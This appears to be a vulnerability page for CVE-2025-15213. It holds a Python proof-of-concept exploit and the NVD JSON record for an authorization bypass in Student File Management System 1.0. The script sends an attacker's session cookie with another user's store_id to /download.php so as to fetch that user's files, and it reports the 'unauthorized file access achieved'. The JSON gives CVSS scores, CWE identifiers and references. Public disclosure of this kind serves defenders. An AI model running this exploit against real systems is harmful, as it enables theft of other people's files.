CVE-2025-15213

#!/usr/bin/env python3 # CVE-2025-15213 PoC - Student File Management System 1.0 Authorization Bypass # Affected Component: /download.php File Download Handler # Vulnerability: Improper Authorization via store_id parameter import requests import sys from urllib.parse import urlencode def exploit_auth_bypass(base_url, attacker_session, target_store_id): """ Exploit improper authorization in Student File Management System 1.0 Args: base_url: Target application base URL attacker_session: Valid session cookie/token for authenticated attacker target_store_id: store_id of victim user to access files from Returns: Response content if exploitation successful, None otherwise """ # Construct malicious download request with arbitrary store_id download_endpoint = f"{base_url}/download.php" params = { 'store_id': target_store_id # Unchecked authorization parameter } headers = { 'Cookie': f'session={attacker_session}', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.get( download_endpoint, params=params, headers=headers, timeout=10 ) if response.status_code == 200: print(f"[!] Successfully accessed files for store_id: {target_store_id}") print(f"[*] Response headers: {dict(response.headers)}") return response.content else: print(f"[*] Request failed with status: {response.status_code}") return None except requests.RequestException as e: print(f"[!] Request error: {e}") return None def main(): if len(sys.argv) < 4: print("Usage: python3 cve_2025_15213_poc.py <base_url> <session_cookie> <target_store_id>") print("Example: python3 cve_2025_15213_poc.py http://target.com 'abc123' '5'") sys.exit(1) base_url = sys.argv[1].rstrip('/') session = sys.argv[2] target_id = sys.argv[3] print(f"[*] Targeting: {base_url}") print(f"[*] Exploiting store_id: {target_id}") result = exploit_auth_bypass(base_url, session, target_id) if result: print("[+] Exploitation successful - unauthorized file access achieved") else: print("[-] Exploitation failed") if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-15213", "sourceIdentifier": "[email protected]", "published": "2025-12-30T01:15:41.173", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in code-projects Student File Management System 1.0. The affected element is an unknown function of the file /download.php of the component File Download Handler. The manipulation of the argument store_id leads to improper authorization. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-266"}, {"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fabian:student_file_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "8AA96545-7C5D-4A6E-8928-7A86633627FC"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Bai-public/CVE/issues/5", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.338598", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.338598", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.725080", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}